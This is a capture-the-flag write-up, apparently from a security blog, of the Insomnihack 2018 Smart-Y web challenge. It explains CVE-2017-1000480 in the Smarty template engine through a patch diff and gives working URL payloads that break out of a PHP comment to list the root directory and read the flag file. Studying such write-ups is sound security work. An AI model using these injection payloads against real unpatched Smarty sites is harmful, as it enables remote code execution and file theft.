Security if God wills it

Smart-Y Writeup (Insomnihack Teaser 2018)

This challenge was the second most flagged Web challenge of the CTF.


Last year, a nerd destroyed the system of Robot City by using some evident flaws. It seems that the system has changed and is not as evident to break now.


The description evokes a previous challenge from Insomni'hack 2017. We therefore started by looking for the writeup of this challenge. At this point, it seems likely that the website uses the Smarty framework - which is confirmed by the name of the challenge - and that the SQLi as well as the template injection from the previous edition have been patched.

The output of dirb indicates that the smarty directory exists and contains the following changelog.txt file:

===== 3.1.31 ===== (14.12.2016)
   - move template object cache into static variables

The functionality that was vulnerable to SQL injection through the fetch function before has been deactivated. However, the display function is still available:


if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; } 

class news extends Smarty_Resource_Custom 
    protected function fetch($name,&$source,&$mtime) 
        $template = "The news system is in maintenance. Please wait a year. <a href='/console.php?hl'>".htmlspecialchars("<<<DEBUG>>>")."</a>"; 
        $source = $template; 
        $mtime = time(); 

// Smarty configuration 
$smarty = new Smarty(); 
$my_security_policy = new Smarty_Security($smarty); 
$my_security_policy->php_functions = null; 
$my_security_policy->php_handling = Smarty::PHP_REMOVE; 
$my_security_policy->modifiers = array(); 

$smarty->registerResource('news',new news); 
$smarty->display('news:'.(isset($_GET['id']) ? $_GET['id'] : ''));  

This version of Smarty is vulnerable to CVE-2017-1000480. Unfortunately, we couldn't find any public exploit for it. After digging through the repository of Smarty, we identified the commit introducing a patch.

The patch is the following:

-        $output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
-                   "\n  from \"" . $_template->source->filepath . "\" */\n\n";
+        $output .= "/* Smarty version {Smarty::SMARTY_VERSION}, created on " . strftime("%Y-%m-%d %H:%M:%S") .
+                   "\n  from \"" . str_replace('*/','* /',$_template->source->filepath) . "\" */\n\n";

The patch prevents the user from closing the comment with */. Since the website uses a version of Smarty that doesn't contain this patch, we should be able to close the comment and inject our own code.

Let's try it.


We start by listing the root directory by visiting the following URL:*/var_dump(scandir(%27/%27));/*.

This outputs the following result:

 array(28) {
  string(1) "."
  string(2) ".."
  string(3) "bin"
  string(4) "boot"
  string(3) "dev"
  string(3) "etc"
  string(4) "flag"
  string(4) "home"
  string(10) "initrd.img"
  string(14) "initrd.img.old"
  string(3) "lib"
  string(5) "lib64"
  string(10) "lost+found"
  string(5) "media"
  string(3) "mnt"
  string(3) "opt"
  string(4) "proc"
  string(4) "root"
  string(3) "run"
  string(4) "sbin"
  string(4) "snap"
  string(3) "srv"
  string(3) "sys"
  string(3) "tmp"
  string(3) "usr"
  string(3) "var"
  string(7) "vmlinuz"
  string(11) "vmlinuz.old"

It worked! Now that we got the path to the flag, all that's left is to actually print it by visiting:*/var_dump(file_get_contents(%22/flag%22));/*.

Aaaand, here's the flag:

string(26) "INS{why_being_so_smart-y}"


Smart-Y was a really nice challenge, which mainly required to carefully read a patch. Funnily enough, it seems that the patch is not yet available in a stable Smarty release.

comments powered by Disqus

Receive Updates